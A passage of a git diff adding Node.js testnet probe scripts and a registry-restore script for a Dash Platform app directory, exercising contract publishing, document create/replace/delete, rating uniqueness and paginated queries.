contractId = resumeId; + if (contractId) { + const existingContract = (await sdk.contracts.getMany([contractId])).get( + contractId, + ); + assert( + existingContract, + `Resume registry contract ${contractId} was not found`, + ); + assertCandidate(existingContract); + report.resumedExistingContract = true; + } else { + const candidate = await newCandidate(sdk, actors[0]); + ({ id: contractId } = await publish(sdk, actors[0], candidate)); + } + report.registryContractId = contractId; + assertCandidate((await sdk.contracts.getMany([contractId])).get(contractId)); + + const created = []; + created.push( + await ensureEntry( + sdk, + actors[0], + contractId, + TARGETS[0], + "Owner candidate", + ), + ); + created.push( + await ensureEntry( + sdk, + actors[1], + contractId, + TARGETS[0], + "Community candidate", + ), + ); + for (let i = 1; i < TARGETS.length; i += 1) + created.push( + await ensureEntry( + sdk, + actors[i % 2], + contractId, + TARGETS[i], + `Target ${i}`, + ), + ); + report.createdDocumentIds = created.map((doc) => + documentId(doc, sdk.version()), + ); + + const exact = rows( + await sdk.documents.query({ + dataContractId: contractId, + documentTypeName: DOCUMENT_TYPE, + where: [ + ["$ownerId", "==", actors[0].identityId], + ["contractId", "==", TARGETS[0]], + ], + orderBy: [ + ["$ownerId", "asc"], + ["contractId", "asc"], + ], + limit: 1, + }), + ); + assert.equal(exact.length, 1); + report.checks.exactOwnerContractLookup = "passed"; + + try { + await createEntry(sdk, actors[0], contractId, TARGETS[0], "Duplicate"); + assert.fail("Duplicate owner/contract pair was accepted"); + } catch (error) { + if (error?.code === "ERR_ASSERTION") throw error; + report.checks.duplicateRejected = errorDetails(error); + } + + const existing = exact[0]; + const existingId = documentId(existing, sdk.version()); + const replacementDraft = new Document({ + properties: { + ...existing.properties, + contractId: bytesId(existing.properties.contractId), + name: "Owner candidate revised", + tagline: "Revised registry probe listing", + }, + documentTypeName: DOCUMENT_TYPE, + dataContractId: contractId, + ownerId: actors[0].auth.identity.id, + revision: BigInt(existing.revision ?? 0) + 1n, + id: existingId, + }); + replacementDraft.createdAt = existing.createdAt; + replacementDraft.updatedAt = BigInt(Date.now()); + const replacement = await prepareDocument(sdk, replacementDraft, contractId); + await sdk.documents.replace({ + document: replacement, + identityKey: actors[0].auth.identityKey, + signer: actors[0].auth.signer, + }); + const replaced = await sdk.documents.get( + contractId, + DOCUMENT_TYPE, + existingId, + ); + assert.equal(replaced.properties.name, "Owner candidate revised"); + assert.equal(BigInt(replaced.revision), BigInt(existing.revision ?? 0) + 1n); + report.checks.replace = snapshot(replaced, sdk.version()); + + await sdk.documents.delete({ + document: { + id: existingId, + ownerId: actors[0].auth.identity.id, + dataContractId: contractId, + documentTypeName: DOCUMENT_TYPE, + }, + identityKey: actors[0].auth.identityKey, + signer: actors[0].auth.signer, + }); + assert.equal( + await sdk.documents.get(contractId, DOCUMENT_TYPE, existingId), + undefined, + ); + report.checks.delete = "passed"; + const recreated = await ensureEntry( + sdk, + actors[0], + contractId, + TARGETS[0], + "Owner candidate recreated", + ); + report.checks.recreateFreedPair = documentId(recreated, sdk.version()); + + const proposals = await queryAll(sdk, { + dataContractId: contractId, + documentTypeName: DOCUMENT_TYPE, + where: [["contractId", "==", TARGETS[0]]], + orderBy: [ + ["contractId", "asc"], + ["$createdAt", "asc"], + ], + }); + assert.equal(proposals.length, 2); + report.checks.compoundPagination = proposals.map((d) => + documentId(d, sdk.version()), + ); + const category = await queryAll(sdk, { + dataContractId: contractId, + documentTypeName: DOCUMENT_TYPE, + where: [["category", "==", "developer-tools"]], + orderBy: [ + ["category", "asc"], + ["$createdAt", "asc"], + ], + }); + assert.equal(category.length, created.length); + report.checks.categoryPagination = category.map((d) => + documentId(d, sdk.version()), + ); + const recent = await queryAll(sdk, { + dataContractId: contractId, + documentTypeName: DOCUMENT_TYPE, + where: [], + orderBy: [["$createdAt", "desc"]], + }); + const times = recent.map((d) => + BigInt( + d.createdAt ?? d.$createdAt ?? snapshot(d, sdk.version()).$createdAt, + ), + ); + assert( + times.every((time, index) => index === 0 || times[index - 1] >= time), + "Recent index did not honor descending order", + ); + report.checks.recentDescending = recent.map((d) => ({ + id: documentId(d, sdk.version()), + createdAt: String(d.createdAt ?? snapshot(d, sdk.version()).$createdAt), + })); + report.checks.sharedTimestampBoundaryObserved = times.some( + (time, index) => index > 0 && index % 2 === 0 && time === times[index - 1], + ); + if (!report.checks.sharedTimestampBoundaryObserved) { + report.checks.sharedTimestampBoundaryNote = + "No equal timestamp occurred at a two-item page boundary during this live sample; cursor correctness remains covered by duplicate/cycle detection and query-shape tests."; + } + report.status = "passed"; +} catch (error) { + report.status = "failed"; + report.error = errorDetails(error); + process.exitCode = 1; +} finally { + report.finishedAt = new Date().toISOString(); + printReport(report); +} diff --git a/example-apps/dashapps/scripts/probes/probe-lib.mjs b/example-apps/dashapps/scripts/probes/probe-lib.mjs new file mode 100644 index 00000000..39c2bc15 --- /dev/null +++ b/example-apps/dashapps/scripts/probes/probe-lib.mjs @@ -0,0 +1,377 @@ +import assert from "node:assert/strict"; +import { + DataContract, + Document, + PlatformVersion, +} from "../../../../node_modules/@dashevo/evo-sdk/dist/evo-sdk.module.js"; +import { + createClient, + IdentityKeyManager, +} from "../../../../setupDashClient-core.mjs"; +import { + APP_METADATA_SCHEMAS, + CONTRACT_CONFIG, + DOCUMENT_TYPE, + RATING_DOCUMENT_TYPE, +} from "./candidate.mjs"; + +export function requireOptIn() { + assert.equal( + process.env.DASHAPPS_PROBE_SPEND, + "yes", + "Set DASHAPPS_PROBE_SPEND=yes to acknowledge testnet credit spending", + ); + assert( + process.env.DASHAPPS_PROBE_MNEMONIC?.trim(), + "Set DASHAPPS_PROBE_MNEMONIC", + ); + const indices = (process.env.DASHAPPS_PROBE_IDENTITY_INDICES || "0,1") + .split(",") + .map(Number); + assert( + indices.length === 2 && + indices.every(Number.isSafeInteger) && + indices[0] !== indices[1], + "DASHAPPS_PROBE_IDENTITY_INDICES must contain two distinct integers", + ); + const identityIds = (process.env.DASHAPPS_PROBE_IDENTITY_IDS || "") + .split(",") + .map((value) => value.trim()) + .filter(Boolean); + assert( + identityIds.length === 0 || identityIds.length === 2, + "DASHAPPS_PROBE_IDENTITY_IDS must be empty or contain two IDs matching the configured indices", + ); + return { + mnemonic: process.env.DASHAPPS_PROBE_MNEMONIC.trim(), + indices, + identityIds, + }; +} + +export async function connectActors() { + const { mnemonic, indices, identityIds } = requireOptIn(); + const sdk = await createClient("testnet"); + const actors = []; + for (const [position, identityIndex] of indices.entries()) { + let manager; + try { + manager = await IdentityKeyManager.create({ + sdk, + mnemonic, + network: "testnet", + identityIndex, + ...(identityIds[position] ? { identityId: identityIds[position] } : {}), + }); + } catch (error) { + throw new Error( + `Could not resolve testnet identityIndex=${identityIndex}${identityIds[position] ? ` as ${identityIds[position]}` : " by master-key hash"}: ${error?.message || String(error)}`, + { cause: error }, + ); + } + const auth = await manager.getAuth(); + const identityId = auth.identity.id.toString(); + assert( + auth.identityKey, + `Derived authentication key is not present on identity ${identityId} at identityIndex=${identityIndex}`, + ); + if (identityIds[position]) + assert.equal( + identityId, + identityIds[position], + `Fetched identity does not match DASHAPPS_PROBE_IDENTITY_IDS position ${position}`, + ); + const balance = await sdk.identities.balance(identityId); + assert(BigInt(balance) > 0n, `Identity ${identityId} has no credits`); + actors.push({ + identityIndex, + manager, + auth, + identityId, + balance: BigInt(balance), + }); + } + return { sdk, actors }; +} + +export async function newCandidate(sdk, actor) { + const nonce = await sdk.identities.nonce(actor.identityId); + const contract = new DataContract({ + ownerId: actor.auth.identity.id, + identityNonce: (nonce || 0n) + 1n, + schemas: APP_METADATA_SCHEMAS, + fullValidation: true, + }); + contract.setConfig(CONTRACT_CONFIG); + return contract; +} + +export function assertCandidate(contract) { + assert(contract, "Registry contract was not found"); + const schema = contract.schemas?.[DOCUMENT_TYPE]; + assert(schema, `Contract has no ${DOCUMENT_TYPE} document type`); + for (const field of ["tagline", "category", "tags", "appUrl", "iconUrl"]) + assert( + schema.properties?.[field], + `Contract is missing required field ${field}`, + ); + assert( + schema.indices?.some((index) => index.name === "byCategoryCreated"), + "Contract is missing the category index", + ); + const rating = contract.schemas?.[RATING_DOCUMENT_TYPE]; + assert(rating, `Contract has no ${RATING_DOCUMENT_TYPE} document type`); + assert( + rating.indices?.some( + (index) => index.name === "byContractStars" && index.rangeCountable, + ), + "Contract is missing the range-countable stars index", + ); +} + +export async function publish(sdk, actor, contract) { + const published = await sdk.contracts.publish({ + dataContract: contract, + identityKey: actor.auth.identityKey, + signer: actor.auth.signer, + }); + const id = published.id?.toString() || published.toJSON?.(sdk.version())?.id; + assert(id, "Contract publication returned no ID"); + return { id, published }; +} + +export function idBytes(value) { + const alphabet = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz"; + let n = 0n; + for (const char of value) { + const digit = alphabet.indexOf(char); + assert(digit >= 0, `Invalid base58 identifier: ${value}`); + n = n * 58n + BigInt(digit); + } + const bytes = []; + while (n > 0n) { + bytes.push(Number(n & 255n)); + n >>= 8n; + } + for (const char of value) { + if (char !== "1") break; + bytes.push(0); + } + bytes.reverse(); + assert.equal( + bytes.length, + 32, + `Identifier must decode to 32 bytes: ${value}`, + ); + return new Uint8Array(bytes); +} + +export function bytesId(value) { + if (typeof value === "string") return value; + if ( + value?.toString && + !(value instanceof Uint8Array) && + !Array.isArray(value) + ) + return value.toString(); + const bytes = + value instanceof Uint8Array ? value : Uint8Array.from(value || []); + assert.equal(bytes.length, 32, "Identifier property must contain 32 bytes"); + const alphabet = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz"; + let n = 0n; + for (const byte of bytes) n = n * 256n + BigInt(byte); + let encoded = ""; + while (n > 0n) { + encoded = alphabet[Number(n % 58n)] + encoded; + n /= 58n; + } + for (const byte of bytes) { + if (byte !== 0) break; + encoded = `1${encoded}`; + } + return encoded; +} + +export async function createEntry(sdk, actor, contractId, targetId, name) { + // Identifier-media properties use canonical base58 at the Document boundary. + // The contract-aware serializer converts this to Platform Value::Identifier. + idBytes(targetId); // strict 32-byte validation before handing it to the SDK + const draft = new Document({ + properties: { + contractId: targetId, + name, + tagline: `Test listing for ${name}`, + category: "developer-tools", + tags: "registry-probe", + appUrl: "https://example.com/app", + iconUrl: "https://example.com/icon.png", + }, + documentTypeName: DOCUMENT_TYPE, + dataContractId: contractId, + ownerId: actor.auth.identity.id, + }); + const document = await prepareDocument(sdk, draft, contractId); + await sdk.documents.create({ + document, + identityKey: actor.auth.identityKey, + signer: actor.auth.signer, + }); + return document; +} + +export async function exactEntry(sdk, actor, contractId, targetId) { + const result = rows( + await sdk.documents.query({ + dataContractId: contractId, + documentTypeName: DOCUMENT_TYPE, + where: [ + ["$ownerId", "==", actor.identityId], + ["contractId", "==", targetId], + ], + orderBy: [ + ["$ownerId", "asc"], + ["contractId", "asc"], + ], + limit: 1, + }), + ); + return result[0]; +} + +export async function ensureEntry(sdk, actor, contractId, targetId, name) { + const existing = await exactEntry(sdk, actor, contractId, targetId); + if (existing) return existing; + try { + await createEntry(sdk, actor, contractId, targetId, name); + } catch (error) { + const committed = await exactEntry(sdk, actor, contractId, targetId); + if (!committed) throw error; + return committed; + } + const committed = await exactEntry(sdk, actor, contractId, targetId); + assert( + committed, + `Created ${actor.identityId}/${targetId} entry was not readable after confirmation`, + ); + return committed; +} + +export async function prepareDocument(sdk, document, contractId) { + const contract = (await sdk.contracts.getMany([contractId])).get(contractId); + assert(contract, `Data contract ${contractId} was not found`); + const now = BigInt(Date.now()); + if (document.createdAt == null) document.createdAt = now; + if (document.updatedAt == null) document.updatedAt = now; + const version = new PlatformVersion(sdk.version()); + const bytes = document.toBytes(contract, version); + const prepared = Document.fromBytes( + bytes, + contract, + document.documentTypeName, + version, + ); + // Entropy belongs to the JS wrapper rather than the serialized core document, + // so restore it after the contract-aware property round trip. + prepared.entropy = document.entropy; + return prepared; +} + +export function documentId(doc, protocolVersion) { + return String( + doc.id ?? + doc.toJSON?.(protocolVersion)?.$id ?? + doc.toJSON?.(protocolVersion)?.id ?? + "", + ); +} + +export function rows(result) { + return result instanceof Map + ? [...result.values()].filter(Boolean) + : Array.isArray(result) + ? result + : Object.values(result || {}).filter(Boolean); +} + +export async function queryAll(sdk, args, pageSize = 2) { + const found = []; + const seen = new Set(); + let startAfter; + for (;;) { + const page = rows( + await sdk.documents.query({ + ...args, + limit: pageSize, + ...(startAfter ? { startAfter } : {}), + }), + ); + for (const doc of page) { + const id = documentId(doc, sdk.version()); + assert(id && !seen.has(id), `Duplicate/cyclic pagination result: ${id}`); + seen.add(id); + found.push(doc); + } + if (page.length < pageSize) return found; + const next = documentId(page.at(-1), sdk.version()); + assert(next && next !== startAfter, "Pagination cursor did not advance"); + startAfter = next; + } +} + +export function snapshot(value, version) { + return value.toObject?.(version) ?? value.toJSON?.(version) ?? value; +} + +export function errorDetails(error) { + let message; + try { + message = + typeof error?.message === "function" ? error.message() : error?.message; + } catch { + message = undefined; + } + message ||= String(error); + let decodedMessage; + if (/^[A-Za-z0-9+/]+={0,2}$/.test(message)) { + try { + const decoded = Buffer.from(message, "base64").toString("utf8"); + decodedMessage = decoded + .replace(/[^\x20-\x7E]+/g, "") + .replace(/^gmessagex?/, ""); + } catch { + decodedMessage = undefined; + } + } + return { + name: error?.name, + code: error?.code ?? error?.errorCode, + message, + ...(decodedMessage ? { decodedMessage } : {}), + }; +} + +export function printReport(report) { + console.log( + JSON.stringify( + report, + (_, value) => (typeof value === "bigint" ? value.toString() : value), + 2, + ), + ); +} + +export async function networkContext(sdk) { + const status = await sdk.system.status(); + const raw = status?.toJSON?.() ?? status; + const protocol = raw?.version?.protocol?.drive; + return { + negotiatedProtocolVersion: sdk.version(), + activeProtocolVersion: protocol?.current ?? null, + latestKnownProtocolVersion: protocol?.latest ?? null, + blockHeight: + raw?.chain?.latestBlockHeight ?? + raw?.chain?.blockHeight ?? + raw?.blockHeight ?? + null, + }; +} diff --git a/example-apps/dashapps/scripts/probes/ratings.mjs b/example-apps/dashapps/scripts/probes/ratings.mjs new file mode 100644 index 00000000..1da3d8fb --- /dev/null +++ b/example-apps/dashapps/scripts/probes/ratings.mjs @@ -0,0 +1,396 @@ +/** + * Credit-spending testnet probe for app ratings. Publishes the production + * registry contract (both document types, declared metadata, curated system + * entries) unless DASHAPPS_PROBE_REGISTRY_ID resumes an existing one, then + * verifies rating create, uniqueness (40105), grouped count keys, replace, + * sort/filter query shapes and delete through the app's own read module. + * + * Run from example-apps/dashapps: + * DASHAPPS_PROBE_SPEND=yes node --import ./scripts/probes/ts-resolve-hook.mjs \ + * --env-file=../../.env scripts/probes/ratings.mjs + * Uses DASHAPPS_PROBE_MNEMONIC, falling back to the tutorial PLATFORM_MNEMONIC. + */ +import assert from "node:assert/strict"; +import { + DataContract, + Document, +} from "../../../../node_modules/@dashevo/evo-sdk/dist/evo-sdk.module.js"; +import { + createClient, + IdentityKeyManager, +} from "../../../../setupDashClient-core.mjs"; +import { + APP_METADATA_SCHEMAS, + CONTRACT_CONFIG, + DECLARED_METADATA, + DOCUMENT_TYPE, + RATING_DOCUMENT_TYPE, +} from "./candidate.mjs"; +import { + assertCandidate, + errorDetails, + networkContext, + prepareDocument, + printReport, + rows, +} from "./probe-lib.mjs"; +import { + listRatings, + ownRating, + ratingSummary, + starsKeyHex, +} from "../../src/dash/ratingReads.ts"; +import { metadataProperties } from "../../src/dash/registryWrites.ts"; +import { SYSTEM_CONTRACT_METADATA } from "../../src/dash/systemContractMetadata.ts"; + +const TARGET = + process.env.DASHAPPS_PROBE_TARGET_ID?.trim() || + "BsjE6tQxG47wffZCRQCovFx5rYrAYYC3rTVRWKro27LA"; +const report = { + probe: "ratings", + startedAt: new Date().toISOString(), + sdkVersion: "4.1.1", + inputs: { targetId: TARGET }, + checks: {}, +}; + +function optIn() { + assert.equal( + process.env.DASHAPPS_PROBE_SPEND, + "yes", + "Set DASHAPPS_PROBE_SPEND=yes to acknowledge testnet credit spending", + ); + const mnemonic = ( + process.env.DASHAPPS_PROBE_MNEMONIC || + process.env.PLATFORM_MNEMONIC || + "" + ).trim(); + assert(mnemonic, "Set DASHAPPS_PROBE_MNEMONIC or PLATFORM_MNEMONIC"); + const identityIndex = Number(process.env.DASHAPPS_PROBE_IDENTITY_INDEX || 0); + assert(Number.isSafeInteger(identityIndex) && identityIndex >= 0); + return { mnemonic, identityIndex }; +} + +async function connectActor() { + const { mnemonic, identityIndex } = optIn(); + const sdk = await createClient("testnet"); + const manager = await IdentityKeyManager.create({ + sdk, + mnemonic, + network: "testnet", + identityIndex, + }); + const auth = await manager.getAuth(); + const identityId = auth.identity.id.toString(); + assert(auth.identityKey, `No authentication key on identity ${identityId}`); + const balance = BigInt(await sdk.identities.balance(identityId)); + assert(balance > 0n, `Identity ${identityId} has no credits`); + return { sdk, actor: { manager, auth, identityId, balance } }; +} + +/** Mirrors registerContract in src/dash/contract.ts with the root SDK module. */ +async function publishProductionRegistry(sdk, actor) { + const nonce = await sdk.identities.nonce(actor.identityId); + const candidate = new DataContract({ + ownerId: actor.auth.identity.id, + identityNonce: BigInt(nonce ?? 0) + 1n, + schemas: APP_METADATA_SCHEMAS, + fullValidation: true, + }); + candidate.setConfig(CONTRACT_CONFIG); + const dataContract = DataContract.fromObject( + { + ...candidate.toObject(sdk.version()), + ...DECLARED_METADATA, + $formatVersion: "1", + }, + true, + sdk.version(), + ); + const published = await sdk.contracts.publish({ + dataContract, + identityKey: actor.auth.identityKey, + signer: actor.auth.signer, + }); + const id = published.id?.toString() || published.toJSON?.(sdk.version())?.id; + assert(id, "Contract publication returned no ID"); + return id; +} + +async function createDocument(sdk, actor, registryId, type, properties, extra) { + const draft = new Document({ + properties, + documentTypeName: type, + dataContractId: registryId, + ownerId: actor.auth.identity.id, + ...extra, + }); + if (extra?.createdAt != null) draft.createdAt = extra.createdAt; + if (extra?.revision != null) draft.updatedAt = BigInt(Date.now()); + return prepareDocument(sdk, draft, registryId); +} + +async function seedSystemMetadata(sdk, actor, registryId) { + const seeded = []; + const failures = []; + for (const entry of SYSTEM_CONTRACT_METADATA) { + try { + const existing = rows( + await sdk.documents.query({ + dataContractId: registryId, + documentTypeName: DOCUMENT_TYPE, + where: [ + ["$ownerId", "==", actor.identityId], + ["contractId", "==", entry.contractId], + ], + orderBy: [ + ["$ownerId", "asc"], + ["contractId", "asc"], + ], + limit: 1, + }), + ); + if (existing.length) { + seeded.push({ name: entry.input.name, resumed: true }); + continue; + } + const document = await createDocument( + sdk, + actor, + registryId, + DOCUMENT_TYPE, + metadataProperties(entry.contractId, entry.input), + ); + await sdk.documents.create({ + document, + identityKey: actor.auth.identityKey, + signer: actor.auth.signer, + }); + seeded.push({ name: entry.input.name, id: String(document.id) }); + } catch (error) { + failures.push({ name: entry.input.name, error: errorDetails(error) }); + } + } + return { seeded, failures }; +} + +async function rawCounts(sdk, registryId) { + const counts = await sdk.documents.count({ + dataContractId: registryId, + documentTypeName: RATING_DOCUMENT_TYPE, + where: [ + ["contractId", "==", TARGET], + ["stars", "between", [1, 5]], + ], + orderBy: [["stars", "asc"]], + groupBy: ["stars"], + }); + return Object.fromEntries( + [...counts.entries()].map(([key, value]) => [key, value.toString()]), + ); +} + +function plain(summary) { + return { + count: summary.count.toString(), + average: summary.average, + distribution: Object.fromEntries( + Object.entries(summary.distribution).map(([k, v]) => [k, v.toString()]), + ), + }; +} + +try { + const { sdk, actor } = await connectActor(); + report.network = await networkContext(sdk); + report.identity = { id: actor.identityId, startingBalance: actor.balance }; + let registryId = process.env.DASHAPPS_PROBE_REGISTRY_ID?.trim(); + if (registryId) report.resumedExistingContract = true; + else { + registryId = await publishProductionRegistry(sdk, actor); + report.publishedAt = await networkContext(sdk); + } + report.registryContractId = registryId; + const contract = (await sdk.contracts.getMany([registryId])).get(registryId); + assertCandidate(contract); + const facts = contract.toObject(sdk.version()); + report.checks.declaredMetadata = { + description: facts.description, + keywords: facts.keywords, + documentTypes: Object.keys(contract.schemas), + }; + assert.equal(facts.description, DECLARED_METADATA.description); + report.checks.seed = await seedSystemMetadata(sdk, actor, registryId); + + const initial = await ratingSummary(sdk, registryId, TARGET); + const existing = await ownRating(sdk, registryId, actor.identityId, TARGET); + report.checks.initial = { summary: plain(initial), ownRating: existing?.id }; + if (existing) { + // Resume: clear a rating left by an interrupted run so the checks below start clean. + const current = await sdk.documents.get( + registryId, + RATING_DOCUMENT_TYPE, + existing.id, + ); + await sdk.documents.delete({ + document: current, + identityKey: actor.auth.identityKey, + signer: actor.auth.signer, + }); + report.checks.initial.clearedLeftover = true; + } + + const created = await createDocument( + sdk, + actor, + registryId, + RATING_DOCUMENT_TYPE, + { + contractId: TARGET, + stars: 5, + title: "Probe rating", + body: "Created by scripts/probes/ratings.mjs", + }, + ); + await sdk.documents.create({ + document: created, + identityKey: actor.auth.identityKey, + signer: actor.auth.signer, + }); + const ratingId = String(created.id); + const afterCreate = await ratingSummary(sdk, registryId, TARGET); + report.checks.create = { + ratingId, + rawCountKeys: await rawCounts(sdk, registryId), + summary: plain(afterCreate), + height: (await networkContext(sdk)).blockHeight, + }; + assert.equal(afterCreate.distribution[5], 1n, "5-star count after create"); + assert.equal(afterCreate.count, 1n); + assert.equal(afterCreate.average, 5); + assert.equal( + report.checks.create.rawCountKeys[starsKeyHex(5)], + "1", + "grouped count key must be the sign-flipped hex byte", + ); + + try { + const duplicate = await createDocument( + sdk, + actor, + registryId, + RATING_DOCUMENT_TYPE, + { + contractId: TARGET, + stars: 1, + }, + ); + await sdk.documents.create({ + document: duplicate, + identityKey: actor.auth.identityKey, + signer: actor.auth.signer, + }); + report.checks.duplicate = { rejected: false }; + assert.fail("Duplicate owner/contract rating was accepted"); + } catch (error) { + if (report.checks.duplicate) throw error; + const details = errorDetails(error); + report.checks.duplicate = { rejected: true, ...details }; + assert( + details.code === 40105 || + /duplicate unique properties/i.test( + details.decodedMessage || details.message, + ), + `Unexpected duplicate error: ${JSON.stringify(details)}`, + ); + } + + const own = await ownRating(sdk, registryId, actor.identityId, TARGET); + assert.equal(own?.id, ratingId, "ownRating must find the created rating"); + const current = await sdk.documents.get( + registryId, + RATING_DOCUMENT_TYPE, + ratingId, + ); + assert(current, "created rating must be fetchable"); + const replacement = await createDocument( + sdk, + actor, + registryId, + RATING_DOCUMENT_TYPE, + { contractId: TARGET, stars: 3, title: "Probe rating (edited)" }, + { + id: ratingId, + revision: BigInt(current.revision ?? 0) + 1n, + createdAt: current.createdAt, + }, + ); + await sdk.documents.replace({ + document: replacement, + identityKey: actor.auth.identityKey, + signer: actor.auth.signer, + }); + const afterReplace = await ratingSummary(sdk, registryId, TARGET); + const replaced = await ownRating(sdk, registryId, actor.identityId, TARGET); + report.checks.replace = { + summary: plain(afterReplace), + revision: replaced?.revision?.toString(), + stars: replaced?.stars, + title: replaced?.title, + body: replaced?.body, + }; + assert.equal(afterReplace.distribution[3], 1n); + assert.equal(afterReplace.distribution[5], 0n); + assert.equal(replaced?.stars, 3); + assert.equal(replaced?.revision, 2n); + assert.equal(replaced?.body, undefined, "blank body must be omitted"); + + const lists = {}; + for (const [label, options] of Object.entries({ + recent: { sort: "recent" }, + highest: { sort: "highest" }, + lowest: { sort: "lowest" }, + filter3: { stars: 3 }, + filter5: { stars: 5 }, + })) { + const page = await listRatings(sdk, registryId, TARGET, options); + lists[label] = { + count: page.ratings.length, + stars: page.ratings.map((r) => r.stars), + cursor: page.cursor, + }; + } + report.checks.lists = lists; + for (const label of ["recent", "highest", "lowest", "filter3"]) + assert.deepEqual(lists[label].stars, [3], `${label} list`); + assert.equal(lists.filter5.count, 0, "stars == 5 filter after replace"); + + const toDelete = await sdk.documents.get( + registryId, + RATING_DOCUMENT_TYPE, + ratingId, + ); + await sdk.documents.delete({ + document: toDelete, + identityKey: actor.auth.identityKey, + signer: actor.auth.signer, + }); + const afterDelete = await ratingSummary(sdk, registryId, TARGET); + report.checks.delete = { + summary: plain(afterDelete), + ownRating: await ownRating(sdk, registryId, actor.identityId, TARGET), + }; + assert.equal(afterDelete.count, 0n, "count after delete"); + assert.equal(report.checks.delete.ownRating, null); + + report.finishedAt = await networkContext(sdk); + report.endingBalance = BigInt(await sdk.identities.balance(actor.identityId)); + report.result = "passed"; +} catch (error) { + report.result = "failed"; + report.error = errorDetails(error); + process.exitCode = 1; +} finally { + printReport(report); + process.exit(process.exitCode ?? 0); +} diff --git a/example-apps/dashapps/scripts/probes/ts-resolve-hook.mjs b/example-apps/dashapps/scripts/probes/ts-resolve-hook.mjs new file mode 100644 index 00000000..ad663372 --- /dev/null +++ b/example-apps/dashapps/scripts/probes/ts-resolve-hook.mjs @@ -0,0 +1,26 @@ +/** + * Node resolve hook so probes can import the app's TypeScript modules, which use + * extensionless relative specifiers (bundler resolution). Node's built-in type + * stripping handles the syntax; this only appends `.ts` when a bare relative + * import is not found. Usage: node --import ./scripts/probes/ts-resolve-hook.mjs … + */ +import { register } from "node:module"; + +register( + "data:text/javascript," + + encodeURIComponent(` +export async function resolve(specifier, context, next) { + try { + return await next(specifier, context); + } catch (error) { + if ( + error.code === "ERR_MODULE_NOT_FOUND" && + /^\\.{1,2}\\//.test(specifier) && + !/\\.[a-z]+$/.test(specifier) + ) + return next(specifier + ".ts", context); + throw error; + } +} +`), +); diff --git a/example-apps/dashapps/scripts/restore-registry.mjs b/example-apps/dashapps/scripts/restore-registry.mjs new file mode 100755 index 00000000..48a11e0b --- /dev/null +++ b/example-apps/dashapps/scripts/restore-registry.mjs @@ -0,0 +1,423 @@ +/** + * Restore dashapps registry entries from a backup file. + * + * Groups the backup by original owner, then works through one identity at a + * time: it prompts for that owner's credentials (WIF private key or BIP39 + * mnemonic), re-creates every entry that identity submitted, and only then + * moves on to the next owner. Entries whose owner you skip are left alone. + * + * Documents are re-created rather than restored in place — Platform derives + * a document ID from owner + entropy, so a restored entry gets a new $id and + * fresh $createdAt/$updatedAt. Ownership and metadata are preserved. + * + * WRITES TO THE NETWORK AND SPENDS CREDITS. Use --dry-run to preview. + * + * Usage: + * node scripts/restore-registry.mjs [--network testnet|mainnet] + * [--contract ] [--only ] + * [--dry-run] + */ +import { readFile } from "node:fs/promises"; +import { createInterface } from "node:readline/promises"; +import { stdin, stdout } from "node:process"; +import { + createClient, + IdentityKeyManager, +} from "../../../setupDashClient-core.mjs"; +// The repo root and this app each install their own copy of @dashevo/evo-sdk, +// and each copy has its own WASM instance. createClient (imported above from +// the root) initializes the ROOT copy, so every SDK class used here must come +// from that same copy — importing "@dashevo/evo-sdk" would resolve to the app's +// uninitialized copy and fail with an undefined document_constructor. +import { + Document, + IdentitySigner, + PlatformVersion, + PrivateKey, + Purpose, + SecurityLevel, +} from "../../../node_modules/@dashevo/evo-sdk/dist/evo-sdk.module.js"; + +const DOCUMENT_TYPE = "appMetadata"; +// Properties the restore replays. $-prefixed system fields are re-derived by +// Platform, and anything outside the contract schema would fail validation. +const METADATA_FIELDS = [ + "contractId", + "name", + "description", + "website", + "repository", + "docs", + "tagline", + "category", + "tags", + "appUrl", + "iconUrl", +]; +const AUTH_LEVELS = new Set([SecurityLevel.HIGH, SecurityLevel.CRITICAL]); + +/** + * SDK errors are WASM objects: `message` can be a method rather than a string, + * and the payload is sometimes base64. Fall back through each shape so a + * failure reports something actionable instead of "[object Object]". + */ +function errorText(error) { + if (error instanceof Error && typeof error.message === "string") + return error.message; + let message; + try { + message = + typeof error?.message === "function" ? error.message() : error?.message; + } catch { + message = undefined; + } + if (typeof message !== "string" || !message) { + try { + message = JSON.stringify(error); + } catch { + message = undefined; + } + } + message ||= String(error); + if (/^[A-Za-z0-9+/]+={0,2}$/.test(message) && message.length > 8) { + try { + const decoded = Buffer.from(message, "base64") + .toString("utf8") + .replace(/[^\x20-\x7E]+/g, " ") + .trim(); + if (decoded) message = decoded; + } catch { + /* keep the original message */ + } + } + const code = error?.code ?? error?.errorCode; + return code == null ? message : `${message} (code ${code})`; +} + +function parseArgs(argv) { + const options = { positional: [] }; + for (let i = 0; i < argv.length; i += 1) { + const flag = argv[i]; + if (!flag.startsWith("--")) { + options.positional.push(flag); + continue; + } + if (flag === "--dry-run") { + options.dryRun = true; + continue; + } + const value = argv[i + 1]; + if (value == null || value.startsWith("--")) + throw new Error(`Missing value for ${flag}`); + options[flag.slice(2)] = value; + i += 1; + } + return options; +} + +const args = parseArgs(process.argv.slice(2)); +const [backupPath] = args.positional; +if (!backupPath) + throw new Error( + "Usage: node scripts/restore-registry.mjs [--network …] [--contract …] [--only …] [--dry-run]", + ); + +const backup = JSON.parse(await readFile(backupPath, "utf8")); +if (backup.documentTypeName !== DOCUMENT_TYPE) + throw new Error(`Backup is not a ${DOCUMENT_TYPE} backup.`); +if (!Array.isArray(backup.entries) || backup.entries.length === 0) + throw new Error("Backup contains no entries."); + +const network = args.network || backup.network || "testnet"; +if (network !== "testnet" && network !== "mainnet") + throw new Error(`Unknown network: ${network}`); +const registryId = args.contract || backup.contractId; +if (!registryId) throw new Error("No target registry contract ID."); +const only = args.only + ? new Set( + args.only + .split(",") + .map((id) => id.trim()) + .filter(Boolean), + ) + : null; + +/** Group the backup by original owner, preserving backup order within a group. */ +function byOwner(entries) { + const groups = new Map(); + for (const entry of entries) { + const owner = entry.$ownerId; + if (!owner) throw new Error(`Backup entry ${entry.$id} has no $ownerId.`); + if (only && !only.has(owner)) continue; + if (!groups.has(owner)) groups.set(owner, []); + groups.get(owner).push(entry); + } + return groups; +} + +/** Keep only schema properties, dropping empty strings the schema rejects. */ +function properties(entry) { + const source = entry.metadata ?? {}; + const result = {}; + for (const field of METADATA_FIELDS) { + const value = source[field]; + if (value == null || value === "") continue; + result[field] = value; + } + if (!result.contractId || !result.name || !result.tagline || !result.category) + throw new Error( + `Backup entry 